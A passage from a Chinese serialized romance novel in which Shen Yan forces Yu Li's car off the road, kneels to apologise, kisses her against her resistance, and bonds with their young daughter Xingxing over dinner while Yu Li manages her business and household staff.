赵雨浓那头信息显示输入又撤回,似乎已经震惊到不知道可以说什么,半响才发过来【我看太子爷脸色不好,你小心点儿,别被他找麻烦,好怕他跟你抢星星】 喻梨看一眼怀里睡着的星星,将车上毛毯拿过来盖在她身上,眼神温柔。 等视线再放到车窗外时,偏茶色的瞳孔,目光清醒坚定。 车子拐了几个弯,再下个路口就可以出山路口上省道。 前面一辆车的人还再闹腾着,在冬日的暖阳下和寒风里挥手嗨歌。 喻梨忽然有点赞同赵雨浓的感叹了,年轻时自由自在的,真好。她当然也不觉得自己很老,只是生命的某些部分,死去了就是死去了。 “操,怎么回事?”车子刚进入省道公路没多久,发现后面有人别车,副驾驶的哥们忽然说了一句。 沈砚一共三辆车,清一色的黑色。此刻,其中一辆已经超越了他们后面朋友的车,正在朝祁阳这辆车靠近。 祁阳想起早晨那个男人,不知道该不该停,忍不住看一眼喻梨脸色,有些不确定问她:“是找你的?” 喻梨脸色已经非常难看,忍不住给沈砚发信息【你发什么疯!】 沈砚很快回复【喻梨,你不要逼我,下来!】 喻梨闭了闭眼,后视镜里看到逐渐逼近的SUV,看了怀里的星星一眼,握紧拳头,最终还是妥协,跟祁阳道:“麻烦旁边停吧,我跟他谈谈。” 祁阳从后视镜里看她一眼,喉结滚了滚,坚持:“你如果不想见,我可以帮你。” 他哥们儿摸不着情况,看到别他们车的清一色豪车,心底有点发怵,但哥们这样说,他也不能落了气势,立刻帮腔:“我们也三俩车,不怕,我马上联系另外辆个车的哥们儿,美女老板,你放心!”说完,摸出手机准备打电话。 喻梨神色平稳,语气很淡:“真的不用,靠边停吧,我跟他谈两句就好。” 祁阳摸不准具体情况,眼神有些黯淡,但还是选择听她的,靠边停下。 星星还在睡,喻梨只能将星星放在车上,推门下车。 沈砚穿一件奢牌大衣,大步朝她走过来,风把他大衣吹得猎猎作响,他俊脸脸色很难看,直接过来拽住她手腕:“跟我走,星星呢,在车上?” 喻梨望向他,没回答他话语,只是忽然说:“第三次。” 沈砚漆黑的眉毛挑了一下。 喻梨重复一遍,口吻平静:“第三次被你截车,第二次是上次,同样的这条路。第一次是在北城,你还记得你当年让我站在哪里吗?” 沈砚的手抖了一下,方才还强硬的气势稍稍萎靡,俊脸忽然间有些苍白,薄唇动了动,想 说些什么,但似乎知道会被她驳回去,声音挤不出来。 喻梨笑了,他握住她手臂的力道松软,她就挣脱出来,微笑着说:“你刚才不是说喜欢我,以追求我名义吗?” “那跪下吧,沈砚。”她口吻轻飘飘的,语气淡然的命令道。 一字一句轻轻强调:“在这里,跪一个,你既然要追求我,是不是该把以前的账抹平?” 第62章 第62章不需要方子,你看,我从…… 紧急车道旁停了好几辆车。 祁阳的朋友们骂骂咧咧的下车,已经跟沈砚的几个黑衣黑裤的保镖们对上。 川流不息的车流里,不时有人好奇地降下车窗望向这边。 沈砚站在省道外的一截马路牙子上,俊脸在冬日的冷风里,被刮得有些生疼。 喻梨双手插大衣兜里,站在他对面,岁月丝毫没有薄待她,漂亮精致的五官依然处处透着幼时娇俏的痕迹,微笑时唇角有轻微的弧度,但从她青春期开始,沈砚很能辨别她笑容里的细微之处。 喻梨在学校的名头非常响亮,不仅因为她胡作非为、作天作地的个性,更主要她一直那样漂亮,从很早起,她就知道如何利用自己美貌优势。 学校里,她的追求者非常多,沈砚隐约知道她是怎样处理那些拒绝不掉、狗皮膏药一样缠绕上来的小男生,小公主作弄人的手段简直花样百出,从小被娇养大的少女太知道怎样去伤害男生们的自尊心,以达到不被对方纠缠的目的。 沈砚曾经亲眼目睹她在教学楼跟一个向她下跪的男生笑着遗憾说:“抱歉,我不喜欢动不动向我下跪的类型,你连人类身上宝贵的自尊心都可以丢掉,那以后是不是也能随意丢掉我?” 她说话时声音抑扬顿挫,脸上作弄人的微笑跟此刻几乎一模一样,恶劣且冷漠。 沈砚幽深的桃花眼望着她,喉结滚了滚,启唇道:“对不起三个字,你已经听腻,在你看来,当然都是苍白没意义的。” 喻梨挑了一下眉,仿佛赞同他说法,但没接话,一副只等他行动的架势。 “但我要是跪了,你一定会说‘沈砚,你现在已经变成动不动跟人下跪的可怜男人了吗,我不喜欢没有自尊心的男人,真是抱歉,我不接受你的追求’。”沈砚似乎洞悉她想法,学着她的语气道。 喻梨被拆穿,瞳孔微微缩,但也并不觉得有什么,沈砚一向清贵高傲,喻梨从不会赌他会下跪,于是轻蔑得笑了一下:“某种意义上,你真的很解我。” 然后,她一副‘爱跪不跪,懒得听你逼逼’的样儿,转身准备上车。 沈砚忽然拽住她手掌,拉回她,喻梨正要发火,高大板肃的男人在她面前单膝下跪。 喻梨被他握住的手指微微僵硬,那丝僵硬很快传染到全身,周围车流的摩擦声在某一刻忽然褪怯,她喉咙咽了咽,有些许震惊地看面前跪得笔直的男人。 本来跟保镖们吵吵嚷嚷的一伙人,忽然都愣住,一副‘卧槽,这什么情况’的表情,被沈砚单膝下跪的场面吸引。 保镖们也惊呆了。 反应过来喻梨想甩开他手心,但她甩不开,手心被沈砚死死握住,那双桃花眼深深凝视着她,幽深的眸子里,情绪浓烈到极致,声音清晰低沉:“对不起。” 喻梨嘴唇蠕动,极力想说一些讽刺的话,却发现自己喉咙仿佛被人堵住。 沈砚即使是下跪的姿势,凝视她的目光依然充满某种势在必得的侵略感,继续说:“知道即使这样,你依然不会满意。”说到这里,他忽然垂眸,嗓音更低了些,口吻复杂,仿佛自嘲,“我以前对你不好,我知道,不止这一件,桩桩件件,你随意搬出任何一件,都是可以拒绝我的理由。” 再抬头时,他说:“但是喻梨,我既然表白了,就没有想过要收回去。所以,对不起,为以前,也为……以后。”一字一句,被冷风吹进喻梨耳朵里,字字清晰。 喻梨还没琢磨过来,他说‘为以后’是什么意思,沈砚已经站起来,气质矜贵的男人稍稍掸了掸膝盖前上的灰尘,然后大步转身走到祁阳后座车门口。 祁阳站在那里,两人目光仅对视片刻,来自对方身上的威压气息太浓烈,祁阳几乎下意识往后退了一步,仅这一步,已经足够沈砚拉开车门,弯腰将后排的星星小心翼翼抱出来。 小姑娘大概是困极了,依旧睡得很香,沈砚抱她出来时,她都只微微皱了皱眉,很快找到他怀里舒服的位置,再次沉沉睡去。 经过喻梨身边时他说:“你的要求我已经做到,我的底线你也清楚。”说完,将星星抱上库里南。 沈砚的那几辆豪车一走,祁阳哥们儿望着空荡荡的车内,看着一句话不说的祁阳,有点不落忍地拍拍他肩:“不是一个阶层的,咱别成人家夫妻俩play的一环,看开点儿!” 祁阳沉默不语。 沈砚将母子俩送回公寓。 星星在进入电梯之前醒来,被沈砚换了个姿势抱着,小姑娘揉了揉眼睛,趴在沈砚肩膀上,对走在后面冷着脸的喻梨撒娇说:“妈妈,我饿了。” 喻梨克制着情绪,安抚她:“我们马上回家吃饭。” 星星很快露出小酒窝,冲她张开手,不要沈砚了:“我要妈妈抱。” 沈砚把星星转交给她,这次坚持一定要跟喻梨进入电梯,喻梨抱着星星在站在家门口时,对要登堂入室的沈砚终于忍无可忍,当着星星的面,稍微压低了音量:“你不要太过分。” 沈砚看她一眼,口吻透着几分无奈:“我只是听说星星最近适应新阿姨适应得不好,才赶过来的。” “还有上次说从北城安排的老中医。”说着他抬手看了一眼腕表,“应该快到了。” 喻梨还想说什么,星星催促她:“妈妈,我们快回家。” 喻梨只能抬手,录入指纹密码,门开后,沈砚脸皮非常厚得跟随她进屋了。 200多平的大平层,是喻梨一个月花五位数的房租租的,客厅非常宽敞,布置简洁,但东西很多,一部分是喻梨卖货的一些样品,一部分是星星的玩具。 小姑娘一到家,睡足了以后,彻底活泛开,鞋子一脱,撒丫子跑到软垫上,先去找自己那堆玩具。 喻梨应该提前招呼过,阿姨笑着迎出来说:“再等十五分钟可以开饭。”看到跟回来的沈砚,微微有些诧异,但也不会对雇主表露什么。 “好的,我过会儿让星星洗手。”喻梨说完,看一眼已经自己去玩的星星,没有搭理身后的沈砚,推着行李箱去卧室。 沈砚看一眼玄关,没有合适的男士拖鞋。 阿姨帮他找了找,找出一双酒店的一次性白拖鞋:“您将就一下。” 沈砚点头换上。 客厅里暖气开很足,沈砚脱了大衣,顺手挂在旁边衣架上,只穿了一件雾霾色高领毛衣,踩着拖鞋去星星玩的软垫。 要到垫子上时,被星星喝止:“你不可以进来,这是我的冰雪城堡。” 小姑娘很有领地意识,睡醒的白皙小脸蛋上还有压出的红痕,发辫应该是方才睡着时被压到了,这会儿有点乱糟糟的,抬手阻住要踩进来的沈砚。 沈砚倒很配合她,想了想,蹲下身问她:“那要怎么才能进来呢?” 星星捏着玩偶的兔子耳朵:“笨蛋,当然是要敲门。” 这是同意的意思,沈砚笑笑,很认真地配合她“咚咚”敲了两下门。 小姑娘有些腼腆得做了一个开门的手势:“那你进来吧。” 沈砚忽然有一种被欢迎进入女儿领地的意思,仿佛星星是在用一种特别的方式,展现对他的独特的亲昵感。 他盘腿坐在软垫上,看星星一会儿玩玩这个,一会儿碰碰那个玩具,偶尔还要给他介绍哪个是哪个,忽然开口说:“你头发都乱了,我帮你把辫子扎起来好不好?” 星星就很狐疑地看他一眼:“你会吗?” 沈砚笑得很温柔:“帮你妈妈弄过,应该不难 ,我会轻轻的,试试好不好?” 小姑娘眼珠转了转,乖乖坐到他腿上。 他动作果然很温柔,小姑娘发量跟喻梨一样好,只是乱了几根,稍微弄一弄就可以。 但是听见星星奶声奶气问他:“你……真的帮我妈妈弄过吗?” “嗯。” “什么时候?”好奇。 沈砚想了想:“还没有你的时候。” 十几岁的喻梨,有一头漂亮乌黑的长发,但是她很会折腾那头长发,各种颜色,各种发辫,各种新发型,很多时候,沈砚不敢恭维她审美。 不知道那一年,实在看不过去,看少女因为各种奔跑跳跃,或者疯疯癫癫弄散的发型,开始学着看杂志教程帮她编头发。 “哇撒……沈砚,你可以去学美容美发了!”等编好,喻梨总是一边臭美,一边用亮晶晶的眼睛朝他发射彩虹屁。 被沈砚把卷子拍到她脸上:“闭嘴,继续做你的题。” 难道学美容美发是什么了不起的事情吗,难道是他想的吗,还不是因为你老是弄得乱糟糟的……少年皱着眉头想。 “你们偷偷弄的吗?”星星还不理解他‘还没有你的时候’,以为是他背着她给他妈妈扎头发了。 沈砚笑了:“嗯,偷偷弄的。” 小女孩就有点生气得鼓了鼓脸颊。 喻梨收拾好行李箱出来时,听到的就是一大一小的此番对话,她不知道想起什么,垂眸静了静,隔了会儿才想起提醒女儿:“星星,跟我去洗手手。” 星星的头发已经扎好,忍不住自己拿自己的粉色魔法镜瞅了两眼,美得不行,咚咚咚跑到喻梨面前炫耀:“妈妈,你看,大伯给我扎的头发。” 喻梨敷衍得应了一声,表示看到了,忽然对上沈砚沉静的桃花眼,很快挪开,牵着星星的手去了洗漱台。 下午北城的老中医乘坐沈砚的私人飞机过来,人家行程也很忙,只是刚好在南城有个学术交流会,拨出了额外问诊的时间。 把了把星星的脉搏,说这么小的姑娘,开点食疗的方子就好,身体没什么大问题,不必太紧张。 看完星星,沈砚忽然将喻梨推过去,被按在巡诊座位上,老中医也顺道给她把了把脉。 跟星星的食疗不一样,喻梨的情况被说得颇为严重,什么气结于心,忧思过虑、什么寒气瘀滞、脉象不畅,让她注意肾脏跟肝脏保养,开了一副调理的方子。 等沈砚客客气气将老中医送走,喻梨看都懒得看那副方子,倒是跟阿姨一起研究了一下替星星食疗的可行性。 刘昕跟星星玩了一会儿,发现星星从郊外回来后,明显整个人活泼开朗很多,对自己和阿姨都不怎么排斥了。 只好跟沈砚解释:“星星可能最开始离开以前的阿姨,忽然缺乏安全感,排斥周围的陌生人,对妈妈依赖感比较强,可以再观察一段时间,应该能适应我跟新的阿姨。” 沈砚面无表情提醒她:“是你,麻烦尽快适应星星。” 刘昕脸色微微一白,但她也百口莫辩,明明只是每日如实想他汇报星星情况,这次的问题,她也是说出实际情况而已,是这位大老板太紧张,亲自敢过来确认,结果星星自己适应了,才闹出乌龙。 喻梨在旁边看一眼,微微冷笑。 但她已经很快意识到,自己的生活,正在因为星星,被人全方位入侵。 是夜。 沈砚不得不拿起外套离开。 这次喻梨居然客气得送他。 沈砚以为她有话要与自己谈,因此下电梯到公寓楼下绿化区域一带,都在等她开口。 喻梨迟迟不说话,沈砚只好温和提起:“刚才的方子,我找人抓好药给你送来。” 此时,两人站在一株蓝楹花树下,南方的乔木,即使是寒冷的冬日,绿叶也盈盈舒展。 黑夜,面积巨大的绿化带笼罩在冬日的清冷里。 忍了一下午的喻梨忽然抬手,突如其来地给了他一巴掌,打完说:“不需要方子,你看,我从不郁结。” “沈砚,当着星星的面我不想跟你争执,但是你今天一整天是不是太过分了!” 第63章 第63章你可以当做,我已经受够…… 那一巴掌在冬日冷清的深夜里,清晰,响亮。 树灯昏黄,沈砚一张俊脸被她扇得微微偏过头,他脖颈非常长,下颌线锋利,桃花眼因为偏头的姿势,在阴影里,看不清楚表情。 空气在喻梨说完那句话后静谧了片刻。 她胸脯起伏,压抑了一整天的情绪在此刻的夜深人静里爆发,说完,抬脚便折返。 沈砚拽住她手腕,出乎意料,他目光望过来时神色平静,情绪非常稳,仿佛挨巴掌的不是他:“我现在好像做任何事,在你眼里都是过分,在你舒适区里踩雷对吗?” “你明白就好。麻烦你当好你的大伯就可以,远远的,不要动不动靠近我跟星星。”喻梨手腕挣了挣,没挣开。 反而被沈砚拉近了点,几乎快撞上他胸膛,两个人呼出的热气在冷风里化成浅浅白雾,他凝视她的目光深邃,吐出的字眼清晰:“不要拿我做不到的事情要求我!你可以提点别的要求。“说话时,他深深看着她,仿佛不想放过她脸上任何表情,忽然想起什么,问:“喻梨,你为什么生气?我记得我们重逢,你表现得很淡定,说你不恨我。” 喻梨想挣开,但他力气实在太大,不知道什么时候托住她腰肢,她觉得有些难堪:“恨跟讨厌也有区别,我不恨你,但不代表我不讨厌你,比如现在,放开我!”最后一句,她微微咬牙。 沈砚却似乎极淡得笑了一下,睫毛低垂,高挺的鼻梁近乎碰到她鼻尖:“很好,讨厌至少也是种感觉,对吗?” 喻梨手指撑着他胸膛,企图隔开,仿佛已经下意识觉得危险,嘴上依旧刻薄:“你应该拿镜子照一照你现在的油腻的样子,沈砚。” 男人桃花眼底情绪也淡,狭长的眼睛微眯了眯,碰着她鼻尖,嗓音低哑:“我今天跟你表白,被你踹进水里,跟你下跪,最后还要被你扇巴掌指责过分,过得跌宕起伏,而这会儿,还要被你讽刺油腻,总不能白白被你讽刺对吗?” “你……”喻梨张口还要指责。 嘴唇被对方衔住,沈砚忽然吻住她,彼此气息交缠,他身上沾染着深冬的寒意,清冽、沁鼻,唇却是温热的,不知道什么时候,已经腾出一只手按住她纤细的脖颈,另一只手托住她腰肢,有些强势的,且不容反抗的,加深了这个吻。 喻梨全身心推拒他,舌头欲顶开他,却被他有技巧的缠住,她连呼吸都被迫中止,整个人因为娇小,几乎被强制遏制在他怀里,被裹得密不透风,层层叠叠,密密麻麻,一瞬间,全是对方身上的气息。 喻梨在他近乎窒息的亲吻里,隐约明白他那句‘对不起,不论以前,还是以后’的意思,但沈砚近乎摒弃他惯来风度和涵养的不要脸,是她没有想到的。 “啪”。 结束后,沈砚理所当然迎来她第二巴掌。 她像是气极,看他的眼底带了点红,手指隐约在发抖:“你现在也学会对女人无耻那套吗?” 沈砚平静挨她一巴掌,握成拳的手指随意揣进兜里,两个人根本不像刚刚才接吻过的关系,他眉眼清冷,口吻冷静:“只对你这样。你可以当做,我已经受够你的无视和冷漠,哪怕挑起你一丁点儿情绪,也不错。”说完,他看她一眼,但仿佛不敢再看第二眼,从她身旁走过。 他那样留恋彼此气息交错的亲昵,却也在她拼命地推拒与挣扎里,品尝到刀口舔蜜的滋味。 喻梨浑身几近瘫软,在他走远后,近乎卸力般,缓缓挪动了几步。 直到迎面撞上刚从健身房回来的许英。 两个人在小区的书吧里随意点了两杯热饮。 许英抚着杯沿说:“今天下午,果果爸爸来接果果吃晚餐,带了他新女朋友,年轻漂亮,不是去年被我捉 奸在床的那个。本来刚成功忙完一个项目,想带果果去庆祝的,结果一瞬间,什么心情都没有了,只好去健身房跳几下,看能不能分泌点让自己快乐的多巴胺。” 喻梨勉强笑了一下,随即说起自己:“我今天倒是让一个身价挺高的男人跟自己下跪了,还扇了他两巴掌,本来应该挺爽的,但是好像也没分泌让自己快乐的多巴胺。” 许英也跟着自嘲笑笑:“我以为经历去年的一整段鸡头狗跳,已经彻底跟以前说拜拜,修炼出一个全新的百炼成钢的自己,但是看到那个狗男人过得滋润,居然还是会有嫉妒跟生气的情绪。你知道从理智上讲,我当然不希望他破产,毕竟他对果果还是很大方的,为了果果有个完整的童年,我也不得不保持时常跟他见面的频率,甚至不能给孩子灌输他的不好,真是完全没办法做到眼不见心不烦。” 喻梨喝一口热饮:“他对星星也很好,星星比想象中喜欢他,很快接受他。我有时候也会嫉妒,但是劝自己多一个人疼星星其实更利于星星的成长。这种想法很勉强自己,目前不确定还能勉强自己多久。” 许英跟她碰一下杯:“人生总是不断妥协,和解,跟别人,也跟自己,但为了果果,我还可以坚持。明天又是美好的一天,敬快乐。” 喻梨她碰杯,笑得勉强:“敬快乐。” 随后,两个人各自喝完彼此那杯热饮,回家。 刘昕正在给星星讲故事,哄她睡觉。 阿姨在拟下周的菜单,是结合老中医给的那份食疗方子,见她回来,将菜单拿给她参考。 喻梨扫了一眼说:“可以,上面的有些食材可能比较难找,我明天会花时间网购看看。” 阿姨愣了一下,急忙说:“沈先生会派人将食材送来,您放心吧,以前……” 她还没说完,被喻梨打断,口吻微微泛冷:“赵阿姨,我希望您明确一点,星星既然跟着我,所有的开支,将由我这边支付,至于她大伯,我不希望以后有人随意给他开门,或者别的,可以吗?” 赵阿姨被她忽然的严肃吓到,讷讷点头。 喻梨有些疲乏地进卧室洗漱。 20多分钟后,她吹干头发,裹着睡衣,去厨房热了一杯牛奶,敲响刘昕的房门。 牛奶递给刘昕时她说:“我们谈一谈?” 刘昕微怔片刻,很快结果喻梨递来的牛奶:“好的,喻小姐。” 两个人去了书房。 刘昕以为喻梨是想关心跟星星相处的细节,毕竟今晚第一次成功哄星星入睡。 但喻梨开口的第一句话是:“刘小姐,我毕业后,跟人合开第一家公司,规模虽然很小,但是学着自己当老板是件很有意思的事,到现在开到第二家,也算小有所成,如果有人问我,招员工的第一条件是什么,你知道我会怎么回答吗?” 刘昕是聪明人,立刻领会她意思,脸色微微发白。 她没接话,喻梨便说了两个字:“忠诚。” 刘昕解释道:“喻小姐,我们受聘于沈先生,被要求关于星星的一切,都直接要向沈先生汇报。” 喻梨微微笑了一下:“那你可能马上要失业了,因为我的要求是,关于星星的事情,都不能从你们嘴里透露给其他任何人。” 刘昕扶了扶黑色镜框,还要再说。 喻梨已经站起来:“你可以把我的要求告诉沈砚,但我绝对不会要一个家里有任何风吹草动都会被汇报给别处的家教。今天太晚了,早点休息。”说完,她已经往书房外走。 刘昕跟赵姨住一间房。 见她脸色有点白,赵姨便大致能猜到喻梨找她说了什么。 赵阿姨叹口气,小声道:“没想到喻小姐看起来和和气气的,说起话来,也怪狠的。” 刘昕还在想着喻梨给她的选择,雇主意思很明白,要么跟沈砚,要么跟她。 喻梨第二日上班,似乎没休息好,眼底有淡淡黑影。 沈欣瑜在办公室跟她提起:“我们最好的一个护肤品账号,受上家孩童护肤品影响,虽然已经做到赔偿到位,目前流量依然在下滑,有模仿我们的一个叫‘小星光’的账号,粉丝量已经100多万,基本上靠抄袭我们的选品模式和主播模式,我们直播在线人数下滑,对方人数却在上涨。” “我上个星期刚谈下一个大牌护肤品,本来准备做活动推广上线,多搞点赠品,看能不能积点粉丝,没想到又被对方也拿下品牌代理权,活动只会比我们更狠,这次只能玩点新花样,下点血本。” 喻梨见她已经有主意,挑了一下眉:“你准备怎么弄新花样,下血本。” 沈欣瑜拿出一份资料:“我已经联系上蒋静姝的商务那边,依照她目前的人气和流量,一晚上直播的预计至少可以帮助我们涨数十万,销售量也绝对不会差,而且她刚好是这个品牌的代言人。” 喻梨听到这个名字,沉默片刻,也只是说:“以蒋静姝的咖位,参加我们这种账号的直播,应该是自降身价,她恐怕没什么兴趣。” 沈欣瑜:“倒也不会,她商务那边是我以前北城认识的朋友,蒋静姝正好代言这个品牌,品牌部那边也有意让她推广,只是价格方面,确实很高。” “报价是?” 沈欣瑜说了一个数字。 “那你真的是在赚吆喝。”喻梨很快道。 “相信我,这还是我朋友的友情价。” 第64章 第64章大伯喜欢你妈妈,还有你…… 喻梨对沈欣瑜的提议不置可否,她纠结的地方在于蒋静姝,两个人以前就经常互掐,闹得不太愉快,如果蒋静姝知道老板是她,不知道会不会介怀。 她很诚实得将自己跟蒋静姝的关系说了。 沈欣瑜愣了愣,随即说:“我知道你以前在北城也挺混得开的,没想到除了认识沈砚外,你跟蒋静姝还是这种关系,偏偏北城的人脉你是一点也不用啊。” 喻梨垂眸片刻,再抬眸是目光坦然:“能用的当然都用了,只是一些人确实联系比较少,我跟她,关系一般。” 沈欣瑜耸肩:“知道了,这种继姐妹之间的关系的确很微妙。方案你觉得怎么样,目前我们可能真的很需要她的这场直播。” “我同意。但我有个私人要求,如果请她,希望关于星星的事,能在公司员工里封口。” “没问题。那我就着手推进了?” 喻梨点头。 沈欣瑜起身,刚准备出她办公室,助理张蓓敲门进来,手上握着一束精巧的黄玫瑰,笑着说:“老板,有人给你送花。” 很小的一束花,大概只有六七朵的样子,混合着一两只简单的满天星,但上面放着一张卡片。 喻梨打开卡片看,没有署名,只有简单的钢笔‘对不起’三个字。 拿着文件的沈欣瑜顿时开始起哄:“哇哦,新的追求者?”又摸着下巴,当起福尔摩斯,“也不对啊,哪有追求者送黄玫瑰,至少也应该的红玫瑰,代表火热的爱意吧,黄玫瑰什么意思?” 张蓓俏皮的插一嘴:“据说黄玫瑰的花语是道歉。” 恰此时,喻梨手机震动,是祁阳给她发信息【那晚的事,很抱歉】 喻梨微微皱眉。 沈欣瑜一脸玩味地拿着文件出去了,喻梨想起那天从祁阳车上下来,似乎欠他一个解释,于是打字【我们谈一谈】,但刚打完字,不知道想到什么,又撤回了,把手机放到一边,开始处理积压的工作。 几分钟后,沈砚给她打电话,喻梨任手机响了一会儿,沉思片刻后,最后一秒才接起来:“喂?” 沈砚那边也静默了一会儿,才开口说话:“你的要求我同意,但是你不能阻止我给星星送东西。” 看来刘昕已经将昨晚的谈话转告沈砚,喻梨原本已经做好实在不行,换掉阿姨跟 育儿师的打算,但是星星好不容易适应,她也在犹豫,这会儿听沈砚同意,她稍感意外,但沈砚明显在拉锯,他退一步,便要在别的地方找回来一点,是他资本家的本性。 喻梨想了想:“可以。” 沈砚呼吸静默几瞬,还是说:“我今晚回北城,能请你和星星一起吃顿饭吗?” “我晚上要加班。” 沈砚沉默。 喻梨想起许英昨天说的‘人生总是不断妥协,和解,跟别人,也跟自己,但为了果果,我还可以坚持’,忍不住捏一下眉心,决定退一步:“你可以带星星出去吃饭,如果她愿意跟你出去的话。”说完,她还不忘强调,“只是今天。” 楼下,库里南后座的沈砚看一眼喻梨公司的楼层,轻轻说了声‘好的,谢谢’。 挂完电话,喻梨垂眸整理自己心绪,约莫几分钟后,目光挪到商务电脑,开始查看近期的销售数据。 晚上,喻梨跟同事们一起吃的外卖。 下班后的时间是平台直播高峰期,喻梨视察好几个办公室直播情况,发现祁阳不在,同事说他今天请假了。 喻梨想起他今日的短信,看一眼手机,隐约觉得,始终欠祁阳一个解释。 沈砚果然带星星出去吃饭,这次换了一家餐厅,小姑娘也不要人喂,坐在爸爸旁边,吃得很香。 沈砚拍了几张照片过来,喻梨没有回复。 南城某家餐厅。 沈砚后知后觉发现,单独带星星吃饭,不是件简单的事。 除了土豆泥和上次在家里吃饭时观察到的西蓝花虾仁外,他其实不知道星星喜欢吃什么。 只能零星回想起许佑三四岁,喜欢啃鸡翅,薯条,油炸食物,沈清越不让他吃什么,许佑越喜欢什么。 因此沈砚点餐时,除了土豆泥和西蓝花虾仁外,还试探着给星星点了几样蜂蜜鸡翅和日式炸鸡块薯条。 小姑娘看到刚上薯条,果然眼睛亮了亮,奶声奶气强调:“要蘸番茄酱的。” 沈砚摸摸她头,纵容的口吻:“嗯,给你蘸番茄酱。”说着,又用热毛巾给她擦手。 两个人的位置,透过一整面的玻璃窗,可以看到南城整座城市的夜景。 沈砚的助理定的餐厅,原本以为老板带人约会,因此定的是南城最近挺火的一家高级餐厅,被喻梨拒绝,沈砚也懒得取消。 他穿着不算正式,伦敦萨佛街定制的绒毛外套,颜色沉着低调,触感极度舒适,内里搭同色系的浅口毛衣,露出修长脖颈的一截,冷白手腕上一块黑色腕表只在内里刻有带他名字缩写的字母,几乎看不出品牌,但做工一看就不同寻常,属于oldmoney那个阶层一眼就能看出的定制款,身形非常优越,一看就是常年保持运动锻炼的类型,身上气息因为专心照顾身边小女孩的关系,难得透出几分柔和感。 周围几桌是出来约会的白领以上阶层,或跟闺蜜,或跟男友,女士们因为暖气足的关系,在冬日里也穿着清凉,长裙优雅,好几桌的女人注意到靠窗位置最好的这对父女,不时将目光投射过来。 偶尔有人觉得这对父女实在惊艳,拿出手机偷拍照片。 不到五分钟,会有穿黑衣的保镖过来,礼貌又不失威压得请对方删除照片。 沈砚替星星擦完手,试了试薯条温度,觉得不冷不热了,才推给星星。 小姑娘立刻用手抓了一根蘸着番茄酱吃,沈砚忍不住夹了一两颗西蓝花到她碗里:“也要吃蔬菜。” 星星吃得脸颊鼓起,乖巧得跟他点头‘嗯嗯’,吃完几根薯条后,又很快用小手拿起餐盘里的西蓝花吃。 沈砚倒也没有一定要她用筷子,上次见过,星星是会用筷子的。 吃完西蓝花,星星又要吃鸡翅,小姑娘吃成小花猫,根本不肯停歇,一副胃口很好的模样。 看着女儿啃鸡翅,不知道为什么,沈砚忽然想起的秘书处的助理有一次刷的吃播平台,看小娃娃吃饭,被他无意间逮到,沈砚倒也没有指责下属,随口为了句:“这类视频的乐趣是?” 助理解释说:“老板,你不懂,可治愈了,您不觉得看小娃娃吃饭,自己也很有胃口吗?” 沈砚当时很难理解,此刻却仿佛忽然了悟,拍了几张星星吃东西的照片,收藏时,想了想,发给喻梨。 然后,一边看女儿吃饭,一边熟练切自己盘子里的牛排。 星星啃完鸡翅,很快伸长了脑袋过来,嘴角还占着蜂蜜汁,眼巴巴的馋:“我也要吃牛排。” 沈砚给她切了一小块,习惯性蘸了旁边的蘸汁,结果被星星很快吐出来:“辣!”伸着小舌头,一脸痛苦。 沈砚急忙给她喂柠檬水,大概喝得太急,星星又被呛到。 手忙脚乱帮她处理好,小姑娘眼角已经被呛出生理性眼泪,红红的,像是受了委屈一般,吐槽他:“大伯笨蛋。” 沈砚将她儿童座椅拉过来了点儿,帮她擦胸口的水渍,好脾气哄她:“下次会记得星星不吃辣,一点儿胡椒都不能沾。” 星星满意了,抓了一根薯条喂他,沈砚不太吃油炸食品,勉强含进嘴里嚼了。 星星像是觉得有趣,又抓了一根喂他,沈砚根本不懂如何拒绝年幼的女儿,被她一一投喂,居然吃完一整盘薯条。 小姑娘最后坐不住儿童椅,沈砚只好放她下来,星星就趴着落地窗看窗外夜景。 “大伯,你看有大熊猫。”是对面商场的大屏幕上,正在放关于卡通熊猫的宣传片。 沈砚一晚上手机响了五六次,被他一一按断,这会儿又按掉一个,随口问女儿:“星星喜欢大熊猫?” 星星点头,又想起什么,用软糯的嗓音不熟练地表达:“妈妈也喜欢大熊猫,带我去看,大熊猫在爬树。” 沈砚蹲下身,陪她看窗外的夜景:“下次大伯带你去看大熊猫。” 星星就高兴了,点点头:“好。”想了想,又忽然转头问他:“大伯喜欢什么?” 沈砚触到女儿软乎乎的小脸,她眨了眨眼,眼睛里是孩童特有的天真,问得随意,却仿佛问到沈砚心底去。 沈砚忍不住抱起女儿,一下子,星星的视野变得十分开阔,窗外夜景璀璨,她目光被大熊猫牢牢吸引住,小巧的耳朵边,却忽然听见男人低沉叹息般的声音:“大伯喜欢你妈妈,还有你。” 星星觉得他有点伤心似的。 吃完饭,沈砚陪星星玩了会儿,送她回家。 星星在座椅上玩沈砚给她买的新玩偶,沈砚接了一个工作电话。 快到小区时,星星忽然抓住他袖子说:“我头晕。” 沈砚的思维还在商业聊天里,一时没有切换,莫名:“嗯?” 星星重复一遍,焉儿焉儿的,连声音都没什么力气似的:“大伯,我头晕。” 沈砚立刻挂断电话,将她抱过来,探到她额头,心里隐约有些着急:“头不舒服吗?”她额头却并不烫。 小姑娘忽然‘哇’得一下,将今晚吃的东西全部吐沈砚身上了。 前面开车的司机瞅到,心里一惊。 沈砚脸上划过一丝难堪,因为那股味道,微微拧眉。 但她牢牢护住女儿,任她吐干净,怕她被呕吐物呛到。 等她吐完,才扯过纸巾擦拭星星身上的呕吐物。 司机立刻找了安全的地方停下,刚好在小区门口的位置,又去后备箱拿矿泉水帮忙处理。 沈砚将星星抱下车,简单擦拭一下她面前的污垢,和自己身上的东西。 星星似乎也知道自己闯祸,小身板有些僵硬地任沈砚擦拭。 沈砚蹲着身,柔声安慰她:“没关系,星星只是不舒服对吗,没关系的。” 最后又去探她额头,问她:“头还晕吗?” 星星有些僵硬得摇头。 “肚子呢,肚子还疼不疼?” 星星摇头。 沈砚看一眼自己和星星,又看一眼小区。 给喻梨拨电话。 喻梨车刚开到地下车库,看到沈砚的电话,接起来。 沈砚很 遵守约定,礼貌征求她意见:“星星刚才吐我身上了,我们刚好到你小区门口,可以去你家处理一下吗?” 喻梨有些焦急:“吐了,怎么会吐?星星有没有事?是哪里不舒服?” 沈砚看一眼吐完僵着身体不敢动的女儿:“刚才说头晕,吐完说好了。” 喻梨稍稍放心:“你先带她上来,别跟她发火。” 沈砚心想,怎么,我在你心里居然是那种被女儿吐身上还要发火的类型么? 他没接话,挂点电话后,直接抱起星星:“宝贝,没关系,大伯带你回去洗干净好不好?” 小姑娘似乎也很愧疚,点头。 沈砚到时,喻梨已经在家,让阿姨放了热水。 